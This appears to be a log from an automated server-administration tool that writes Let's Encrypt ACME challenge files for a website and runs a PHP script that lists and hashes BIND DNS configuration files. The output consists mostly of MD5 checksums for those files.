MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-27 06:00:01: Establishing a connection
2026-01-27 06:00:02: Establishing a connection
2026-01-27 06:00:02: 

PUT: /tmp/pkp480483

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-27 06:00:03: 

chmod 755 /tmp/pkp480483; /tmp/pkp480483; rm /tmp/pkp480483

2026-01-27 06:00:03: 


1


2026-01-27 06:00:04: Establishing a connection
2026-01-27 06:00:04: 

PUT: /tmp/pkp377424

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > PlXpYAsaKFiKGIgsYjS5x1XfDISHhcp4W6QvFa8Hngw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
PlXpYAsaKFiKGIgsYjS5x1XfDISHhcp4W6QvFa8Hngw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 PlXpYAsaKFiKGIgsYjS5x1XfDISHhcp4W6QvFa8Hngw


2026-01-27 06:00:04: 

chmod 755 /tmp/pkp377424; /tmp/pkp377424; rm /tmp/pkp377424

2026-01-27 06:00:04: 




2026-01-27 06:00:06: Establishing a remote connection
2026-01-28 06:00:01: Establishing a connection
2026-01-28 06:00:02: Establishing a connection
2026-01-28 06:00:02: 

PUT: /tmp/pkp897027

#!/bin/bash
if [ -d "/var/www/biblealive_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-28 06:00:03: 

chmod 755 /tmp/pkp897027; /tmp/pkp897027; rm /tmp/pkp897027

2026-01-28 06:00:03: 


1


2026-01-28 06:00:04: Establishing a connection
2026-01-28 06:00:04: 

PUT: /tmp/pkp846489

#!/bin/bash
mkdir -p "/var/www/biblealive_www/.well-known/acme-challenge/"
cd "/var/www/biblealive_www/.well-known/acme-challenge/"
cat > 5XYv_lDFhlQkTaa7FdSyvNEtovXZ4ClC2PehHXyFu70 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5XYv_lDFhlQkTaa7FdSyvNEtovXZ4ClC2PehHXyFu70.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5XYv_lDFhlQkTaa7FdSyvNEtovXZ4ClC2PehHXyFu70


2026-01-28 06:00:04: 

chmod 755 /tmp/pkp846489; /tmp/pkp846489; rm /tmp/pkp846489

2026-01-28 06:00:04: 




2026-01-28 06:00:05: Establishing a remote connection
2026-01-28 11:38:17: Establishing a connection
2026-01-28 11:38:30: Establishing a connection
2026-01-28 11:38:30: 

PUT: /tmp/pkp183683

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-28 11:38:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp183683; rm /tmp/pkp183683'

2026-01-28 11:38:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
